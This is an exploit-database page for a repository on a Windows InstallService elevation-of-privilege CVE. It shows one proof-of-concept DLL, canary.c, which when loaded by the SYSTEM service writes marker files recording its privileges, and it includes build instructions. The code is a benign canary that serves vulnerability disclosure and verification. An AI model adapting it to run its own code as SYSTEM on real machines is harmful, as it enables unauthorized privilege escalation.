Exploit databaseDownload repository ZIP
GH-71bdbf34ae72225ebb0f3b9f003e8090
rat5ak/cve-2026-50343-installservice-eop
Sources for CVE-2026-50343
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files5
rat5ak/cve-2026-50343-installservice-eopRevision d61fe6676e95
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
canary.c
C · 2,578 bytes/*
* canary.c - InstallService EoP Proof DLL
*
* When loaded by InstallService (SYSTEM), writes proof files:
* 1. C:\Windows\isp_system_proof.txt (ONLY writable by SYSTEM/admin - proves EoP)
* 2. C:\Users\Public\ISP_LOADED.txt (readable by exploit script for detection)
*
* Build:
* cl /nologo /LD canary.c /Fe:isp_exploit.dll /link kernel32.lib user32.lib advapi32.lib
*/
#include <windows.h>
static void WriteProofFile(LPCWSTR path) {
HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE) return;
DWORD written;
char buf[1024];
DWORD pid = GetCurrentProcessId();
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
/* Get token user */
char username[256] = "unknown";
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
DWORD needed = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &needed);
TOKEN_USER *tu = (TOKEN_USER *)HeapAlloc(GetProcessHeap(), 0, needed);
if (tu && GetTokenInformation(hToken, TokenUser, tu, needed, &needed)) {
WCHAR name[128], domain[128];
DWORD nLen = 128, dLen = 128;
SID_NAME_USE use;
if (LookupAccountSidW(NULL, tu->User.Sid, name, &nLen, domain, &dLen, &use)) {
wsprintfA(username, "%ls\\%ls", domain, name);
}
}
if (tu) HeapFree(GetProcessHeap(), 0, tu);
CloseHandle(hToken);
}
SYSTEMTIME st;
GetLocalTime(&st);
int len = wsprintfA(buf,
"=== InstallService StaticPluginMap EoP - SYSTEM Proof ===\r\n"
"LOADED AS: %s\r\n"
"PID: %lu\r\n"
"Process: %s\r\n"
"Time: %04d-%02d-%02d %02d:%02d:%02d\r\n"
"Proof: This file was written to a SYSTEM-only path by attacker-controlled code.\r\n"
" A standard user cannot write to C:\\Windows\\ - this proves EoP.\r\n",
username, pid, exePath,
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
WriteFile(hFile, buf, len, &written, NULL);
CloseHandle(hFile);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
/* Write to SYSTEM-only path (proves privilege) */
WriteProofFile(L"C:\\Windows\\isp_system_proof.txt");
/* Write to public path (for script detection) */
WriteProofFile(L"C:\\Users\\Public\\ISP_LOADED.txt");
}
return TRUE;
}